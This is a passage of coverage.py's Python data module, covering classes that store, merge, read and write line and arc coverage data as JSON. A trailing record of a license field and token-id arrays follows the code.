file with :meth:`write_fileobj`.
You can clear the data in memory with :meth:`erase`. Two data collections
can be combined by using :meth:`update` on one :class:`CoverageData`,
passing it the other.
"""
# The data file format is JSON, with these keys:
#
# * lines: a dict mapping file names to lists of line numbers
# executed::
#
# { "file1": [17,23,45], "file2": [1,2,3], ... }
#
# * arcs: a dict mapping file names to lists of line number pairs::
#
# { "file1": [[17,23], [17,25], [25,26]], ... }
#
# * file_tracers: a dict mapping file names to plugin names::
#
# { "file1": "django.coverage", ... }
#
# * runs: a list of dicts of information about the coverage.py runs
# contributing to the data::
#
# [ { "brief_sys": "CPython 2.7.10 Darwin" }, ... ]
#
# Only one of `lines` or `arcs` will be present: with branch coverage, data
# is stored as arcs. Without branch coverage, it is stored as lines. The
# line data is easily recovered from the arcs: it is all the first elements
# of the pairs that are greater than zero.
def __init__(self, debug=None):
"""Create a CoverageData.
`debug` is a `DebugControl` object for writing debug messages.
"""
self._debug = debug
# A map from canonical Python source file name to a dictionary in
# which there's an entry for each line number that has been
# executed:
#
# { 'filename1.py': [12, 47, 1001], ... }
#
self._lines = None
# A map from canonical Python source file name to a dictionary with an
# entry for each pair of line numbers forming an arc:
#
# { 'filename1.py': [(12,14), (47,48), ... ], ... }
#
self._arcs = None
# A map from canonical source file name to a plugin module name:
#
# { 'filename1.py': 'django.coverage', ... }
#
self._file_tracers = {}
# A list of dicts of information about the coverage.py runs.
self._runs = []
def __repr__(self):
return "<{klass} lines={lines} arcs={arcs} tracers={tracers} runs={runs}>".format(
klass=self.__class__.__name__,
lines="None" if self._lines is None else "{{{0}}}".format(len(self._lines)),
arcs="None" if self._arcs is None else "{{{0}}}".format(len(self._arcs)),
tracers="{{{0}}}".format(len(self._file_tracers)),
runs="[{0}]".format(len(self._runs)),
)
##
## Reading data
##
def has_arcs(self):
"""Does this data have arcs?
Arc data is only available if branch coverage was used during
collection.
Returns a boolean.
"""
return self._has_arcs()
def lines(self, filename):
"""Get the list of lines executed for a file.
If the file was not measured, returns None. A file might be measured,
and have no lines executed, in which case an empty list is returned.
If the file was executed, returns a list of integers, the line numbers
executed in the file. The list is in no particular order.
"""
if self._arcs is not None:
if filename in self._arcs:
return [s for s, __ in self._arcs[filename] if s > 0]
elif self._lines is not None:
if filename in self._lines:
return self._lines[filename]
return None
def arcs(self, filename):
"""Get the list of arcs executed for a file.
If the file was not measured, returns None. A file might be measured,
and have no arcs executed, in which case an empty list is returned.
If the file was executed, returns a list of 2-tuples of integers. Each
pair is a starting line number and an ending line number for a
transition from one line to another. The list is in no particular
order.
Negative numbers have special meaning. If the starting line number is
-N, it represents an entry to the code object that starts at line N.
If the ending ling number is -N, it's an exit from the code object that
starts at line N.
"""
if self._arcs is not None:
if filename in self._arcs:
return self._arcs[filename]
return None
def file_tracer(self, filename):
"""Get the plugin name of the file tracer for a file.
Returns the name of the plugin that handles this file. If the file was
measured, but didn't use a plugin, then "" is returned. If the file
was not measured, then None is returned.
"""
# Because the vast majority of files involve no plugin, we don't store
# them explicitly in self._file_tracers. Check the measured data
# instead to see if it was a known file with no plugin.
if filename in (self._arcs or self._lines or {}):
return self._file_tracers.get(filename, "")
return None
def run_infos(self):
"""Return the list of dicts of run information.
For data collected during a single run, this will be a one-element
list. If data has been combined, there will be one element for each
original data file.
"""
return self._runs
def measured_files(self):
"""A list of all files that had been measured."""
return list(self._arcs or self._lines or {})
def line_counts(self, fullpath=False):
"""Return a dict summarizing the line coverage data.
Keys are based on the file names, and values are the number of executed
lines. If `fullpath` is true, then the keys are the full pathnames of
the files, otherwise they are the basenames of the files.
Returns a dict mapping file names to counts of lines.
"""
summ = {}
if fullpath:
filename_fn = lambda f: f
else:
filename_fn = os.path.basename
for filename in self.measured_files():
summ[filename_fn(filename)] = len(self.lines(filename))
return summ
def __nonzero__(self):
return bool(self._lines or self._arcs)
__bool__ = __nonzero__
def read_fileobj(self, file_obj):
"""Read the coverage data from the given file object.
Should only be used on an empty CoverageData object.
"""
data = self._read_raw_data(file_obj)
self._lines = self._arcs = None
if 'lines' in data:
self._lines = data['lines']
if 'arcs' in data:
self._arcs = dict(
(fname, [tuple(pair) for pair in arcs])
for fname, arcs in iitems(data['arcs'])
)
self._file_tracers = data.get('file_tracers', {})
self._runs = data.get('runs', [])
self._validate()
def read_file(self, filename):
"""Read the coverage data from `filename` into this object."""
if self._debug and self._debug.should('dataio'):
self._debug.write("Reading data from %r" % (filename,))
try:
with self._open_for_reading(filename) as f:
self.read_fileobj(f)
except Exception as exc:
raise CoverageException(
"Couldn't read data from '%s': %s: %s" % (
filename, exc.__class__.__name__, exc,
)
)
_GO_AWAY = "!coverage.py: This is a private format, don't read it directly!"
@classmethod
def _open_for_reading(cls, filename):
"""Open a file appropriately for reading data."""
return open(filename, "r")
@classmethod
def _read_raw_data(cls, file_obj):
"""Read the raw data from a file object."""
go_away = file_obj.read(len(cls._GO_AWAY))
if go_away != cls._GO_AWAY:
raise CoverageException("Doesn't seem to be a coverage.py data file")
return json.load(file_obj)
@classmethod
def _read_raw_data_file(cls, filename):
"""Read the raw data from a file, for debugging."""
with cls._open_for_reading(filename) as f:
return cls._read_raw_data(f)
##
## Writing data
##
def add_lines(self, line_data):
"""Add measured line data.
`line_data` is a dictionary mapping file names to dictionaries::
{ filename: { lineno: None, ... }, ...}
"""
if self._debug and self._debug.should('dataop'):
self._debug.write("Adding lines: %d files, %d lines total" % (
len(line_data), sum(len(lines) for lines in line_data.values())
))
if self._has_arcs():
raise CoverageException("Can't add lines to existing arc data")
if self._lines is None:
self._lines = {}
for filename, linenos in iitems(line_data):
if filename in self._lines:
new_linenos = set(self._lines[filename])
new_linenos.update(linenos)
linenos = new_linenos
self._lines[filename] = list(linenos)
self._validate()
def add_arcs(self, arc_data):
"""Add measured arc data.
`arc_data` is a dictionary mapping file names to dictionaries::
{ filename: { (l1,l2): None, ... }, ...}
"""
if self._debug and self._debug.should('dataop'):
self._debug.write("Adding arcs: %d files, %d arcs total" % (
len(arc_data), sum(len(arcs) for arcs in arc_data.values())
))
if self._has_lines():
raise CoverageException("Can't add arcs to existing line data")
if self._arcs is None:
self._arcs = {}
for filename, arcs in iitems(arc_data):
if filename in self._arcs:
new_arcs = set(self._arcs[filename])
new_arcs.update(arcs)
arcs = new_arcs
self._arcs[filename] = list(arcs)
self._validate()
def add_file_tracers(self, file_tracers):
"""Add per-file plugin information.
`file_tracers` is { filename: plugin_name, ... }
"""
if self._debug and self._debug.should('dataop'):
self._debug.write("Adding file tracers: %d files" % (len(file_tracers),))
existing_files = self._arcs or self._lines or {}
for filename, plugin_name in iitems(file_tracers):
if filename not in existing_files:
raise CoverageException(
"Can't add file tracer data for unmeasured file '%s'" % (filename,)
)
existing_plugin = self._file_tracers.get(filename)
if existing_plugin is not None and plugin_name != existing_plugin:
raise CoverageException(
"Conflicting file tracer name for '%s': %r vs %r" % (
filename, existing_plugin, plugin_name,
)
)
self._file_tracers[filename] = plugin_name
self._validate()
def add_run_info(self, **kwargs):
"""Add information about the run.
Keywords are arbitrary, and are stored in the run dictionary. Values
must be JSON serializable. You may use this function more than once,
but repeated keywords overwrite each other.
"""
if self._debug and self._debug.should('dataop'):
self._debug.write("Adding run info: %r" % (kwargs,))
if not self._runs:
self._runs = [{}]
self._runs[0].update(kwargs)
self._validate()
def touch_file(self, filename):
"""Ensure that `filename` appears in the data, empty if needed."""
if self._debug and self._debug.should('dataop'):
self._debug.write("Touching %r" % (filename,))
if not self._has_arcs() and not self._has_lines():
raise CoverageException("Can't touch files in an empty CoverageData")
if self._has_arcs():
where = self._arcs
else:
where = self._lines
where.setdefault(filename, [])
self._validate()
def write_fileobj(self, file_obj):
"""Write the coverage data to `file_obj`."""
# Create the file data.
file_data = {}
if self._has_arcs():
file_data['arcs'] = self._arcs
if self._has_lines():
file_data['lines'] = self._lines
if self._file_tracers:
file_data['file_tracers'] = self._file_tracers
if self._runs:
file_data['runs'] = self._runs
# Write the data to the file.
file_obj.write(self._GO_AWAY)
json.dump(file_data, file_obj)
def write_file(self, filename):
"""Write the coverage data to `filename`."""
if self._debug and self._debug.should('dataio'):
self._debug.write("Writing data to %r" % (filename,))
with open(filename, 'w') as fdata:
self.write_fileobj(fdata)
def erase(self):
"""Erase the data in this object."""
self._lines = None
self._arcs = None
self._file_tracers = {}
self._runs = []
self._validate()
def update(self, other_data, aliases=None):
"""Update this data with data from another `CoverageData`.
If `aliases` is provided, it's a `PathAliases` object that is used to
re-map paths to match the local machine's.
"""
if self._has_lines() and other_data._has_arcs():
raise CoverageException("Can't combine arc data with line data")
if self._has_arcs() and other_data._has_lines():
raise CoverageException("Can't combine line data with arc data")
aliases = aliases or PathAliases()
# _file_tracers: only have a string, so they have to agree.
# Have to do these first, so that our examination of self._arcs and
# self._lines won't be confused by data updated from other_data.
for filename in other_data.measured_files():
other_plugin = other_data.file_tracer(filename)
filename = aliases.map(filename)
this_plugin = self.file_tracer(filename)
if this_plugin is None:
if other_plugin:
self._file_tracers[filename] = other_plugin
elif this_plugin != other_plugin:
raise CoverageException(
"Conflicting file tracer name for '%s': %r vs %r" % (
filename, this_plugin, other_plugin,
)
)
# _runs: add the new runs to these runs.
self._runs.extend(other_data._runs)
# _lines: merge dicts.
if other_data._has_lines():
if self._lines is None:
self._lines = {}
for filename, file_lines in iitems(other_data._lines):
filename = aliases.map(filename)
if filename in self._lines:
lines = set(self._lines[filename])
lines.update(file_lines)
file_lines = list(lines)
self._lines[filename] = file_lines
# _arcs: merge dicts.
if other_data._has_arcs():
if self._arcs is None:
self._arcs = {}
for filename, file_arcs in iitems(other_data._arcs):
filename = aliases.map(filename)
if filename in self._arcs:
arcs = set(self._arcs[filename])
arcs.update(file_arcs)
file_arcs = list(arcs)
self._arcs[filename] = file_arcs
self._validate()
##
## Miscellaneous
##
def _validate(self):
"""If we are in paranoid mode, validate that everything is right."""
if env.TESTING:
self._validate_invariants()
def _validate_invariants(self):
"""Validate internal invariants."""
# Only one of _lines or _arcs should exist.
assert not(self._has_lines() and self._has_arcs()), (
"Shouldn't have both _lines and _arcs"
)
# _lines should be a dict of lists of ints.
if self._has_lines():
for fname, lines in iitems(self._lines):
assert isinstance(fname, string_class), "Key in _lines shouldn't be %r" % (fname,)
assert all(isinstance(x, int) for x in lines), (
"_lines[%r] shouldn't be %r" % (fname, lines)
)
# _arcs should be a dict of lists of pairs of ints.
if self._has_arcs():
for fname, arcs in iitems(self._arcs):
assert isinstance(fname, string_class), "Key in _arcs shouldn't be %r" % (fname,)
assert all(isinstance(x, int) and isinstance(y, int) for x, y in arcs), (
"_arcs[%r] shouldn't be %r" % (fname, arcs)
)
# _file_tracers should have only non-empty strings as values.
for fname, plugin in iitems(self._file_tracers):
assert isinstance(fname, string_class), (
"Key in _file_tracers shouldn't be %r" % (fname,)
)
assert plugin and isinstance(plugin, string_class), (
"_file_tracers[%r] shoudn't be %r" % (fname, plugin)
)
# _runs should be a list of dicts.
for val in self._runs:
assert isinstance(val, dict)
for key in val:
assert isinstance(key, string_class), "Key in _runs shouldn't be %r" % (key,)
def add_to_hash(self, filename, hasher):
"""Contribute `filename`'s data to the `hasher`.
`hasher` is a `coverage.misc.Hasher` instance to be updated with
the file's data. It should only get the results data, not the run
data.
"""
if self._has_arcs():
hasher.update(sorted(self.arcs(filename) or []))
else:
hasher.update(sorted(self.lines(filename) or []))
hasher.update(self.file_tracer(filename))
##
## Internal
##
def _has_lines(self):
"""Do we have data in self._lines?"""
return self._lines is not None
def _has_arcs(self):
"""Do we have data in self._arcs?"""
return self._arcs is not None
class CoverageDataFiles(object):
"""Manage the use of coverage data files."""
def __init__(self, basename=None, warn=None):
"""Create a CoverageDataFiles to manage data files.
`warn` is the warning function to use.
`basename` is the name of the file to use for storing data.
"""
self.warn = warn
# Construct the file name that will be used for data storage.
self.filename = os.path.abspath(basename or ".coverage")
def erase(self, parallel=False):
"""Erase the data from the file storage.
If `parallel` is true, then also deletes data files created from the
basename by parallel-mode.
"""
file_be_gone(self.filename)
if parallel:
data_dir, local = os.path.split(self.filename)
localdot = local + '.*'
pattern = os.path.join(os.path.abspath(data_dir), localdot)
for filename in glob.glob(pattern):
file_be_gone(filename)
def read(self, data):
"""Read the coverage data."""
if os.path.exists(self.filename):
data.read_file(self.filename)
def write(self, data, suffix=None):
"""Write the collected coverage data to a file.
`suffix` is a suffix to append to the base file name. This can be used
for multiple or parallel execution, so that many coverage data files
can exist simultaneously. A dot will be used to join the base name and
the suffix.
"""
filename = self.filename
if suffix is True:
# If data_suffix was a simple true value, then make a suffix with
# plenty of distinguishing information. We do this here in
# `save()` at the last minute so that the pid will be correct even
# if the process forks.
extra = ""
if _TEST_NAME_FILE: # pragma: debugging
with open(_TEST_NAME_FILE) as f:
test_name = f.read()
extra = "." + test_name
suffix = "%s%s.%s.%06d" % (
socket.gethostname(), extra, os.getpid(),
random.randint(0, 999999)
)
if suffix:
filename += "." + suffix
data.write_file(filename)
def combine_parallel_data(self, data, aliases=None, data_paths=None):
"""Combine a number of data files together.
Treat `self.filename` as a file prefix, and combine the data from all
of the data files starting with that prefix plus a dot.
If `aliases` is provided, it's a `PathAliases` object that is used to
re-map paths to match the local machine's.
If `data_paths` is provided, it is a list of directories or files to
combine. Directories are searched for files that start with
`self.filename` plus dot as a prefix, and those files are combined.
If `data_paths` is not provided, then the directory portion of
`self.filename` is used as the directory to search for data files.
Every data file found and combined is then deleted from disk. If a file
cannot be read, a warning will be issued, and the file will not be
deleted.
"""
# Because of the os.path.abspath in the constructor, data_dir will
# never be an empty string.
data_dir, local = os.path.split(self.filename)
localdot = local + '.*'
data_paths = data_paths or [data_dir]
files_to_combine = []
for p in data_paths:
if os.path.isfile(p):
files_to_combine.append(os.path.abspath(p))
elif os.path.isdir(p):
pattern = os.path.join(os.path.abspath(p), localdot)
files_to_combine.extend(glob.glob(pattern))
else:
raise CoverageException("Couldn't combine from non-existent path '%s'" % (p,))
for f in files_to_combine:
new_data = CoverageData()
try:
new_data.read_file(f)
except CoverageException as exc:
if self.warn:
# The CoverageException has the file name in it, so just
# use the message as the warning.
self.warn(str(exc))
else:
data.update(new_data, aliases=aliases)
file_be_gone(f)
def canonicalize_json_data(data):
"""Canonicalize our JSON data so it can be compared."""
for fname, lines in iitems(data.get('lines', {})):
data['lines'][fname] = sorted(lines)
for fname, arcs in iitems(data.get('arcs', {})):
data['arcs'][fname] = sorted(arcs)
def pretty_data(data):
"""Format data as JSON, but as nicely as possible.
Returns a string.
"""
# Start with a basic JSON dump.
out = json.dumps(data, indent=4, sort_keys=True)
# But pairs of numbers shouldn't be split across lines...
out = re.sub(r"\[\s+(-?\d+),\s+(-?\d+)\s+]", r"[\1, \2]", out)
# Trailing spaces mess with tests, get rid of them.
out = re.sub(r"(?m)\s+$", "", out)
return out
def debug_main(args):
"""Dump the raw data from data files.
Run this as::
$ python -m coverage.data [FILE]
"""
parser = optparse.OptionParser()
parser.add_option(
"-c", "--canonical", action="store_true",
help="Sort data into a canonical order",
)
options, args = parser.parse_args(args)
for filename in (args or [".coverage"]):
print("--- {0} ------------------------------".format(filename))
data = CoverageData._read_raw_data_file(filename)
if options.canonical:
canonicalize_json_data(data)
print(pretty_data(data))
if __name__ == '__main__':
import sys
debug_main(sys.argv[1:])
|
mit
|
[
3,
3909,
1334,
314,
3668,
844,
26,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
2104,
2436,
26,
4178,
921,
25668,
14,
1308,
15,
7439,
15,
10828,
647,
15,
2164,
15,
885,
15,
4609,
4047,
14,
2424,
199,
199,
624,
27444,
666,
367,
11745,
14,
647,
1041,
199,
199,
646,
5739,
199,
646,
2022,
199,
646,
8691,
199,
646,
747,
199,
646,
747,
14,
515,
199,
646,
2196,
199,
646,
295,
199,
646,
2838,
199,
199,
504,
11745,
492,
2589,
199,
504,
11745,
14,
15457,
492,
284,
1744,
12,
1059,
63,
533,
199,
504,
11745,
14,
1757,
492,
485,
2864,
63,
2339,
63,
3817,
199,
504,
11745,
14,
1725,
492,
6912,
6985,
3274,
199,
504,
11745,
14,
9923,
492,
1849,
3652,
1726,
12,
570,
63,
1235,
63,
32227,
12,
365,
16288,
63,
578,
199,
199,
736,
275,
365,
16288,
63,
578,
8,
736,
9,
421,
199,
533,
1849,
3652,
1451,
8,
785,
304,
272,
408,
2395,
7441,
13736,
11745,
666,
12,
5893,
570,
4887,
14,
339,
961,
1021,
365,
314,
4575,
3748,
3261,
370,
314,
666,
11745,
14,
647,
8775,
83,
272,
5309,
2240,
6451,
14,
221,
2779,
6952,
2556,
3595,
4052,
1233,
1990,
272,
7934,
14,
2779,
1630,
440,
2387,
2556,
687,
314,
11284,
7669,
12,
370,
272,
6705,
4052,
2385,
4293,
1172,
2757,
7934,
12,
503,
4052,
2385,
4898,
440,
272,
7934,
14,
339,
2508,
5317,
447,
398,
710,
570,
1475,
365,
440,
22751,
503,
17334,
14,
221,
2779,
911,
1570,
315,
267,
314,
6466,
12,
315,
12570,
23515,
15217,
14,
221,
4226,
440,
1586,
11745,
14,
647,
267,
666,
1584,
5370,
14,
221,
3645,
642,
3261,
370,
5126,
2153,
5505,
296,
14,
339,
6006,
787,
282,
1329,
402,
24241,
402,
666,
626,
883,
506,
13736,
26,
339,
627,
1011,
1278,
26742,
314,
1004,
5579,
402,
1350,
2385,
626,
4898,
7934,
14,
489,
5723,
787,
3544,
2808,
14,
339,
627,
1011,
20672,
26742,
6342,
402,
1350,
436,
5724,
1004,
5579,
367,
19077,
489,
3382,
1350,
2385,
14,
221,
5723,
787,
1454,
2808,
340,
5246,
11745,
1990,
489,
1202,
14,
339,
627,
1011,
493,
29140,
1561,
26742,
314,
859,
1561,
402,
314,
570,
29140,
8963,
626,
489,
8860,
1924,
570,
315,
314,
666,
14,
339,
627,
1011,
1065,
2556,
26742,
2556,
3595,
314,
2240,
6451,
14,
221,
961,
365,
489,
5313,
5309,
298,
10828,
1255,
401,
436,
2066,
29845,
5309,
298,
10828,
489,
13323,
1674,
339,
29406,
12,
601,
1259,
12,
436,
570,
29140,
1561,
787,
5489,
367,
1924,
1350,
570,
14,
3814,
272,
1561,
315,
642,
3261,
787,
1930,
13,
7361,
12,
2755,
641,
10677,
543,
272,
1930,
13,
15851,
570,
10460,
14,
339,
4005,
1586,
282,
11745,
14,
647,
666,
570,
12,
675,
520,
5247,
1705,
739,
63,
493,
3559,
503,
272,
520,
5247,
1705,
739,
63,
9234,
64,
340,
1265,
1172,
376,
2575,
13,
19234,
570,
14,
221,
2047,
883,
2066,
272,
2879,
314,
1004,
12,
14972,
12,
503,
570,
29140,
666,
543,
520,
5247,
1705,
1278,
3559,
520,
5247,
1705,
20672,
3559,
272,
503,
520,
5247,
1705,
493,
63,
16825,
2313,
221,
3378,
2556,
365,
2808,
543,
272,
520,
5247,
1705,
1065,
63,
14195,
2313,
339,
710,
520,
5247,
1705,
1989,
63,
20672,
64,
1083,
9126,
3775,
14972,
666,
365,
2808,
14,
221,
2047,
272,
883,
664,
282,
769,
402,
314,
1584,
315,
314,
666,
543,
520,
5247,
1705,
19116,
3297,
63,
1725,
2313,
272,
437,
6212,
402,
314,
1004,
666,
365,
2808,
687,
520,
5247,
1705,
604,
63,
6851,
2313,
221,
3709,
543,
272,
4750,
2018,
15333,
12,
1265,
883,
6705,
340,
2337,
365,
1263,
666,
737,
1006,
701,
272,
1808,
642,
909,
465,
282,
5046,
574,
14,
2378,
17536,
666,
1584,
911,
506,
2737,
701,
11745,
14,
647,
6337,
12,
1325,
1265,
883,
675,
272,
3102,
2348,
370,
1218,
666,
1584,
340,
1265,
2839,
14,
221,
710,
520,
5247,
1705,
525,
63,
1278,
3559,
272,
520,
5247,
1705,
525,
63,
20672,
3559,
436,
520,
5247,
1705,
525,
63,
493,
63,
23047,
1192,
64,
3102,
1050,
666,
12,
315,
15217,
272,
626,
787,
22700,
367,
11745,
14,
647,
14,
221,
710,
520,
5247,
1705,
525,
63,
1065,
63,
815,
64,
1083,
9584,
272,
790,
13,
585,
6342,
370,
314,
1255,
2556,
14,
339,
4005,
1050,
282,
570,
1928,
1263,
27396,
666,
12,
675,
520,
5247,
1705,
12376,
63,
493,
2313,
339,
2047,
2218,
370,
282,
4310,
570,
543,
520,
5247,
1705,
952,
63,
493,
3559,
503,
370,
376,
2575,
12123,
272,
570,
543,
520,
5247,
1705,
952,
63,
9234,
2313,
339,
2047,
883,
5436,
314,
666,
315,
4402,
543,
520,
5247,
1705,
22087,
2313,
221,
16853,
666,
5055,
272,
883,
506,
12149,
701,
1808,
520,
5247,
1705,
873,
64,
641,
1373,
520,
533,
1705,
27444,
1451,
3559,
272,
9476,
652,
314,
1163,
14,
339,
408,
339,
327,
710,
666,
570,
1475,
365,
4840,
12,
543,
3520,
2883,
26,
272,
327,
272,
327,
258,
627,
2385,
26,
282,
1211,
4412,
570,
1561,
370,
5548,
402,
1004,
5579,
272,
327,
755,
7934,
447,
272,
327,
272,
327,
260,
469,
298,
493,
17,
582,
359,
1196,
12,
1789,
12,
2322,
467,
298,
493,
18,
582,
359,
17,
12,
18,
12,
19,
467,
2263,
789,
272,
327,
272,
327,
258,
627,
601,
1259,
26,
282,
1211,
4412,
570,
1561,
370,
5548,
402,
1004,
1329,
6342,
447,
272,
327,
272,
327,
260,
469,
298,
493,
17,
582,
3474,
1196,
12,
1789,
467,
359,
1196,
12,
821,
467,
359,
821,
12,
1479,
2365,
2263,
789,
272,
327,
272,
327,
258,
627,
570,
63,
23047,
1192,
26,
282,
1211,
4412,
570,
1561,
370,
3589,
1561,
447,
272,
327,
272,
327,
260,
469,
298,
493,
17,
582,
298,
1176,
14,
10828,
401,
2263,
789,
272,
327,
272,
327,
258,
627,
7858,
26,
282,
769,
402,
10809,
402,
2556,
3595,
314,
11745,
14,
647,
7858,
272,
327,
755,
5914,
4655,
370,
314,
666,
447,
272,
327,
272,
327,
260,
359,
469,
298,
19127,
63,
1274,
582,
298,
35,
4718,
499,
14,
23,
14,
709,
577,
22822,
2,
1660,
2263,
1622,
272,
327,
272,
327,
5972,
1373,
402,
658,
1278,
64,
503,
658,
20672,
64,
911,
506,
3451,
26
] |
[
3909,
1334,
314,
3668,
844,
26,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
2104,
2436,
26,
4178,
921,
25668,
14,
1308,
15,
7439,
15,
10828,
647,
15,
2164,
15,
885,
15,
4609,
4047,
14,
2424,
199,
199,
624,
27444,
666,
367,
11745,
14,
647,
1041,
199,
199,
646,
5739,
199,
646,
2022,
199,
646,
8691,
199,
646,
747,
199,
646,
747,
14,
515,
199,
646,
2196,
199,
646,
295,
199,
646,
2838,
199,
199,
504,
11745,
492,
2589,
199,
504,
11745,
14,
15457,
492,
284,
1744,
12,
1059,
63,
533,
199,
504,
11745,
14,
1757,
492,
485,
2864,
63,
2339,
63,
3817,
199,
504,
11745,
14,
1725,
492,
6912,
6985,
3274,
199,
504,
11745,
14,
9923,
492,
1849,
3652,
1726,
12,
570,
63,
1235,
63,
32227,
12,
365,
16288,
63,
578,
199,
199,
736,
275,
365,
16288,
63,
578,
8,
736,
9,
421,
199,
533,
1849,
3652,
1451,
8,
785,
304,
272,
408,
2395,
7441,
13736,
11745,
666,
12,
5893,
570,
4887,
14,
339,
961,
1021,
365,
314,
4575,
3748,
3261,
370,
314,
666,
11745,
14,
647,
8775,
83,
272,
5309,
2240,
6451,
14,
221,
2779,
6952,
2556,
3595,
4052,
1233,
1990,
272,
7934,
14,
2779,
1630,
440,
2387,
2556,
687,
314,
11284,
7669,
12,
370,
272,
6705,
4052,
2385,
4293,
1172,
2757,
7934,
12,
503,
4052,
2385,
4898,
440,
272,
7934,
14,
339,
2508,
5317,
447,
398,
710,
570,
1475,
365,
440,
22751,
503,
17334,
14,
221,
2779,
911,
1570,
315,
267,
314,
6466,
12,
315,
12570,
23515,
15217,
14,
221,
4226,
440,
1586,
11745,
14,
647,
267,
666,
1584,
5370,
14,
221,
3645,
642,
3261,
370,
5126,
2153,
5505,
296,
14,
339,
6006,
787,
282,
1329,
402,
24241,
402,
666,
626,
883,
506,
13736,
26,
339,
627,
1011,
1278,
26742,
314,
1004,
5579,
402,
1350,
2385,
626,
4898,
7934,
14,
489,
5723,
787,
3544,
2808,
14,
339,
627,
1011,
20672,
26742,
6342,
402,
1350,
436,
5724,
1004,
5579,
367,
19077,
489,
3382,
1350,
2385,
14,
221,
5723,
787,
1454,
2808,
340,
5246,
11745,
1990,
489,
1202,
14,
339,
627,
1011,
493,
29140,
1561,
26742,
314,
859,
1561,
402,
314,
570,
29140,
8963,
626,
489,
8860,
1924,
570,
315,
314,
666,
14,
339,
627,
1011,
1065,
2556,
26742,
2556,
3595,
314,
2240,
6451,
14,
221,
961,
365,
489,
5313,
5309,
298,
10828,
1255,
401,
436,
2066,
29845,
5309,
298,
10828,
489,
13323,
1674,
339,
29406,
12,
601,
1259,
12,
436,
570,
29140,
1561,
787,
5489,
367,
1924,
1350,
570,
14,
3814,
272,
1561,
315,
642,
3261,
787,
1930,
13,
7361,
12,
2755,
641,
10677,
543,
272,
1930,
13,
15851,
570,
10460,
14,
339,
4005,
1586,
282,
11745,
14,
647,
666,
570,
12,
675,
520,
5247,
1705,
739,
63,
493,
3559,
503,
272,
520,
5247,
1705,
739,
63,
9234,
64,
340,
1265,
1172,
376,
2575,
13,
19234,
570,
14,
221,
2047,
883,
2066,
272,
2879,
314,
1004,
12,
14972,
12,
503,
570,
29140,
666,
543,
520,
5247,
1705,
1278,
3559,
520,
5247,
1705,
20672,
3559,
272,
503,
520,
5247,
1705,
493,
63,
16825,
2313,
221,
3378,
2556,
365,
2808,
543,
272,
520,
5247,
1705,
1065,
63,
14195,
2313,
339,
710,
520,
5247,
1705,
1989,
63,
20672,
64,
1083,
9126,
3775,
14972,
666,
365,
2808,
14,
221,
2047,
272,
883,
664,
282,
769,
402,
314,
1584,
315,
314,
666,
543,
520,
5247,
1705,
19116,
3297,
63,
1725,
2313,
272,
437,
6212,
402,
314,
1004,
666,
365,
2808,
687,
520,
5247,
1705,
604,
63,
6851,
2313,
221,
3709,
543,
272,
4750,
2018,
15333,
12,
1265,
883,
6705,
340,
2337,
365,
1263,
666,
737,
1006,
701,
272,
1808,
642,
909,
465,
282,
5046,
574,
14,
2378,
17536,
666,
1584,
911,
506,
2737,
701,
11745,
14,
647,
6337,
12,
1325,
1265,
883,
675,
272,
3102,
2348,
370,
1218,
666,
1584,
340,
1265,
2839,
14,
221,
710,
520,
5247,
1705,
525,
63,
1278,
3559,
272,
520,
5247,
1705,
525,
63,
20672,
3559,
436,
520,
5247,
1705,
525,
63,
493,
63,
23047,
1192,
64,
3102,
1050,
666,
12,
315,
15217,
272,
626,
787,
22700,
367,
11745,
14,
647,
14,
221,
710,
520,
5247,
1705,
525,
63,
1065,
63,
815,
64,
1083,
9584,
272,
790,
13,
585,
6342,
370,
314,
1255,
2556,
14,
339,
4005,
1050,
282,
570,
1928,
1263,
27396,
666,
12,
675,
520,
5247,
1705,
12376,
63,
493,
2313,
339,
2047,
2218,
370,
282,
4310,
570,
543,
520,
5247,
1705,
952,
63,
493,
3559,
503,
370,
376,
2575,
12123,
272,
570,
543,
520,
5247,
1705,
952,
63,
9234,
2313,
339,
2047,
883,
5436,
314,
666,
315,
4402,
543,
520,
5247,
1705,
22087,
2313,
221,
16853,
666,
5055,
272,
883,
506,
12149,
701,
1808,
520,
5247,
1705,
873,
64,
641,
1373,
520,
533,
1705,
27444,
1451,
3559,
272,
9476,
652,
314,
1163,
14,
339,
408,
339,
327,
710,
666,
570,
1475,
365,
4840,
12,
543,
3520,
2883,
26,
272,
327,
272,
327,
258,
627,
2385,
26,
282,
1211,
4412,
570,
1561,
370,
5548,
402,
1004,
5579,
272,
327,
755,
7934,
447,
272,
327,
272,
327,
260,
469,
298,
493,
17,
582,
359,
1196,
12,
1789,
12,
2322,
467,
298,
493,
18,
582,
359,
17,
12,
18,
12,
19,
467,
2263,
789,
272,
327,
272,
327,
258,
627,
601,
1259,
26,
282,
1211,
4412,
570,
1561,
370,
5548,
402,
1004,
1329,
6342,
447,
272,
327,
272,
327,
260,
469,
298,
493,
17,
582,
3474,
1196,
12,
1789,
467,
359,
1196,
12,
821,
467,
359,
821,
12,
1479,
2365,
2263,
789,
272,
327,
272,
327,
258,
627,
570,
63,
23047,
1192,
26,
282,
1211,
4412,
570,
1561,
370,
3589,
1561,
447,
272,
327,
272,
327,
260,
469,
298,
493,
17,
582,
298,
1176,
14,
10828,
401,
2263,
789,
272,
327,
272,
327,
258,
627,
7858,
26,
282,
769,
402,
10809,
402,
2556,
3595,
314,
11745,
14,
647,
7858,
272,
327,
755,
5914,
4655,
370,
314,
666,
447,
272,
327,
272,
327,
260,
359,
469,
298,
19127,
63,
1274,
582,
298,
35,
4718,
499,
14,
23,
14,
709,
577,
22822,
2,
1660,
2263,
1622,
272,
327,
272,
327,
5972,
1373,
402,
658,
1278,
64,
503,
658,
20672,
64,
911,
506,
3451,
26,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
